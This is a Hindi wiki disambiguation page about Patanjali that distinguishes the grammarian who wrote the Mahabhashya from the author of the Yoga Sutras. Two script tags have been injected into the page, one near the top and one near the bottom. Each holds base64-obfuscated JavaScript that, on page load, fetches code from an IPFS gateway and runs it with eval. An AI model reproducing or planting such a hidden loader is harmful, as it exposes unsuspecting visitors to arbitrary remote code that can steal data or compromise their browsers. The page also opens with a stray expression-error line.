एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

पतंजलि  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
"यह एक बहुविकल्पी शब्द का पृष्ठ है। अर्थात समान शीर्षक वाले लेखों की सूची। अगर आप यहाँ किसी भारतकोश की कड़ी के द्वारा भेजे गए है, तो कृपया उसे सुधार कर सीधे ही संबंधित लेख से जोड़ें, ताकि पाठक अगली बार सही पन्ने पर जा सकें।"


  1. पतंजलि (महाभाष्यकार)- ‘व्याकरण-महाभाष्य’ के रचयिता।
  2. पतंजलि (योगसूत्रकार)- योगसूत्र के रचनाकार।

विशेष

पतजंलि महाभाष्यकार और योगसूत्रकार दोनों एक हैं अथवा नहीं; ठीक-ठीक नहीं कहा जा सकता, परंतु दोनों एक हो सकते हैं। महाभाष्यकार पतंजलि दूसरी शती ई. पू. के प्रारम्भ में हुए थे। सूत्रशैली की रचनाएँ प्राय: इस काल तक और इसके आगे भी होती रही। अत: भाष्यकार, योगसूत्रकार भी हो सकते हैं।[१]

टीका टिप्पणी और संदर्भ

  1. हिन्दू धर्मकोश |लेखक: डॉ. राजबली पाण्डेय |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान, लखनऊ |पृष्ठ संख्या: 384 |

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=पतंजलि&oldid=272845" से लिया गया